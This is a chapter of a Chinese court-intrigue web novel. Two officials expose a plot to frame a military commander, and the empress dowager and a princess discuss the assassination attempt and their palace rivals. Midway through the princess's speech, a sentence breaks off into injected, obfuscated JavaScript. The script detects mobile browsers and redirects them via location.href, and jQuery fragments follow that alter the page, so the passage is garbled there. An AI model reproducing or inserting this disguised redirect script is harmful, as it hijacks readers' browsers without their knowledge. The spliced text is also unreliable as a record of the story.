13. 同盟
作品:《古代女子图鉴》 紫檀案几上的鎏金烛台猛地一晃,霍延抓起匣中供词手书,越往下看,指节越绷得青白,烛火突地一跳,映亮了他眸底翻涌的戾气。
供词上说了,是殿前司都指挥使霍延同崔相嫌隙多年,又不满其独断专横,听闻崔相近日说亲,遂以十锭金子买通死士刺杀卫三姑娘以泄私愤,信物正是那柄金刀,手书上也盖了他的私印。
霍延看完后怒不可遏,将供词手书拍在桌案上,切齿道:“好歹毒的栽赃!”
不待崔叙开口,他又一转头看向崔叙,面色铁青:“你不会也信了这贼子的攀诬吧?这金刀是我前些日子遗失了的,至于私印……”顿了顿,几乎从齿缝中辗转出声,“我身边必有吃里扒外的竖子!”
崔叙垂眸将手书供词沿折痕缓缓收拢:“我若信了这供词上说的——”乌木匣“咔嗒”扣紧的轻响截住他的话尾,“今日又何必跑这一趟?”
“那你……”霍延神色稍霁。
“这构陷太粗陋了。”崔叙指尖轻点匣面,“一柄金刀和私印,就妄图颠覆殿前司都指挥使的权柄?若是我,断不会做得这么漏洞百出,什么金刀私印,倒像是生怕查不到你头上。”
“你是说,有人觉得我挡了路?”
崔叙笑了笑:“那是一箭双雕的其二。”
“其一是什么?”
“自然是离间我与章圣太后。”
章圣太后即胡太后,因先帝遗诏中授其皇帝行宝辅政,故封号中特含一“圣”字。
霍延会意:“先离间,再栽赃。”
纵使离间不成,事发后也必得寻个替死鬼,幕后之人早已选定他来背锅,届时,供词手书、人证物证俱全,再有长宁长公主以及崔相的推波助澜,他这殿前司都指挥使也算是当到头了。
“好个诛心的诡计!”霍延切齿恨道,“究竟是何人这么苦心积虑的构陷我?!”
崔叙道:“要想知道幕后之人究竟是谁,端看这一箭双雕的计策倘若成了,谁会是最大赢家。”
“你是说,先不要打草惊蛇?”霍延沉吟片刻,蹙眉道,“若他们监视你,那你今日前来,不是已经暴露了?”
崔叙闻言,不由轻笑一声:“那就要看殿帅府里是不是铁桶一块了。”
“嗯?”霍延一时没明白他话中的意思,神色间有些狐疑。
崔叙指尖点了点匣面:“手书上有你的私印。”
霍延瞬间恍然,猛地站起身:“我这就把人拘了来,能靠近我书房的,统共不过那么几个人!”
“拘来了然后呢?”崔叙眉梢微蹙。
“重刑之下……”
他的话还没说完,就被崔叙凌冽的声音打断了:“二哥疯了不成?纵是家奴也不能滥用私刑,传出去御史台的折子必要参你殴杀家奴!到时候都不用这一石二鸟的计策,幕后之人便可坐收渔翁之利了!”
霍延劈头盖脸挨了一通训斥,神色间有些讪讪的,捻了捻指尖,犹豫须臾复又坐了回去。
“那要怎么办?”
“引蛇嘛,自然要先放饵了。”就让他们以为计划正在按照他们预想的那样进行好了。
须臾沉寂。
崔叙面上神色依旧平静无波,袍袖却猛地一拂,案上那只青瓷茶盏应声而落,碎玉飞溅,茶汤淋漓,他霍然起身向外走去。
行至门前,忽又驻足,沉声道:“无论北伐与否,都只是政见不同、庙堂之争。然买凶杀人,草菅人命——此乃知法犯法,罪不容诛!”
院中的几个仆从被这骤然爆发的声响惊动,纷纷侧目张望,又见自家主人从屋内追了出来,满脸怒容。右眼那道陈年刀疤在盛怒之下虬结扭曲,倍显狰狞。
“相公凭什么认定此事就是下官所为,案子是经过刑部审了,还是大理寺断了?三司会审还得容人辩驳吧,相公一来竟是好大个罪名直接扣下!分明是借机铲除异己!陛下面前相公尽管去告,下官自去陈情!我就不信陛下会只听你一家之言!送客!”
崔叙的身影消失在月洞门外,霍延心中怒火未熄,在府中大发雷霆,痛骂府中有人吃里扒外,扬言要彻查到底,揪出内鬼碎尸万段。
接着,他又命令亲兵队长立刻将几个能接触到书房的亲随、文书、管家等人软禁在各自房中,并严加看管,但强调没有他的命令谁也不许动刑。
就在崔叙面见霍延的时候,长宁长公主也被叫进了宫。
“听说你府里近来出事了?”
胡太后已经年过半百了,看上去却只有四十出头的样子,满头珠翠,雍容华贵,一双含情丹凤眼,能看出年轻时一定是个妖艳的美人。
长宁笑了一声:“哪个耳报神,这么快就传到阿娘这里了?”
“你也莫怪他们,发生那样的事,他们想瞒也瞒不住。”胡太后腕间翡翠镯滑过檀木小几,顿了顿,又道,“听说刺的是崔相的未婚妻?”
“是,小姑娘倒是有几分胆气的,撑到了人来,茱萸说,地上还有根戳了眼珠子的金钗。”
胡太后颔首道:“那倒也配得上崔相了。”
长宁忽将团扇掩住半张脸,狡黠的眨了眨眼:“那阿娘要赏她吗?比如给她添妆?”
胡太后无可无不可的笑了:“看来你很喜欢她。”
长宁闻言蹙眉:“我可不喜欢她。”
“幕后之人审出来了吗?”胡太后也不多言,转而问起了旁的。
“阿娘你猜是谁?”
“我猜?”胡太后笑了笑,“这段时日,朝上有关北伐与否一直争论不休,既要我猜,那恐怕就是主战那帮人吧。”
长宁笑道:“确实如阿娘所言,供词证据都指向一个人,霍延!”
听到这个名字,胡太后反而蹙起了眉,长宁见状,不由道:“阿娘怎么了?”
“不该是他。”
长宁一怔:“不是他吗?”
“供词呢?”胡太后又问。
“我叫茱萸拿给崔叙了。”长宁狐疑了,“阿娘怎么知道不是他呢?那个人死后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645684|172376||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他算是把崔叙恨上了,近来又因北伐与否在朝上和崔叙对立。”
顿了顿,又道:“刺的又是崔叙在说亲的姑娘,我倒觉得是他不奇怪。”
胡太后摇了摇头,鬓边的步摇在烛火的映衬下格外生辉。
“他不是那样的人。”
长宁不以为然的撇了撇嘴:“知人知面不知心。”
两人正说着话,有宫女进来道:“娘娘,宣慈太后遣了宝珠姑姑来。”
“叫她进来吧。”胡太后笑着道。
很快,一个三十来岁的女子从外头走了进来,分别给胡太后和长宁行礼后,才笑盈盈的道:“我们娘娘听说殿下进宫了,特意叫婢子送了蜜枣糕过来,说是殿下儿时最爱吃的,连枣泥都要过三遍筛。”
长宁跟着笑道:“施娘娘还记得我喜欢吃蜜枣糕。”
“可不嘛,主子说,先帝统共就一儿一女,她向来视殿下如己出的,自然是殿下爱什么,她都记得。”
长宁脸上的笑意不减,眼底却掠过一丝冷意。
“那我过些日子可得去拜见施娘娘,也再讨些蜜枣糕吃。”
宝珠笑道:“那有什么难的,殿下能来看主子,她心里不定多高兴呢!”
送走了宝珠,长宁便冷着脸叫人把那盘子蜜枣糕端出去扔了。
“她算什么东西?阿爹的妾室,也敢视我如己出?”长宁显然被宝珠那席话气得不轻,“要不是凭她儿子,她现在能在这里摆她的太后威风?!”
胡太后瞥了眼左右侍奉的宫女,等到众人都退下后,她才道:“她是圣上的生母,你说她算什么东西?”
长宁语塞,一口浊气还堵在胸口,半晌才闷声道:“阿娘你变了,以前你才不这样的,阿爹在的时候,她连大气都不敢出,商贾出身的下作货……”
“行了。”抱怨的话还没说完,就被胡太后打断了,“你也知道你阿爹不在了,今时不同往日,她自有陛下做倚仗,我却是什么也没有的。”
长宁唇齿发涩:“我也可以当阿娘的倚仗。”
“你?”胡太后看她一眼,半晌才叹道:“可惜你不是个皇子。”
否则她骄纵了半生,临了当了寡妇,反倒要收敛锋芒,任由施氏时不时在自己眼前蹦跶,不然今日宝珠的那番话,哪怕放在她还是贵妃的时候,你看施氏敢不敢叫宝珠这么说。
“我比弟弟又差在哪里?”长宁不甘心,“前朝还有辅公主登基的呢……”
“住口!”
胡太后声色俱厉的怒斥一声:“你也道那是前朝!前朝和本朝能一样吗?”
长宁不说话了。
殿内一时陷入了沉寂之中,也不知过了多久,胡太后轻叹一声:“你若真想成为阿娘的倚仗,也该寻个好夫婿了,我和施氏又不同,我自小入宫,父母兄弟早都饿死了,无娘家可依,眼看着陛下已快长成,我迟早要还政于他,你别看崔叙现在和我同一阵线,可真要到该还政却不还政的那天,他也必是要和我反目的。”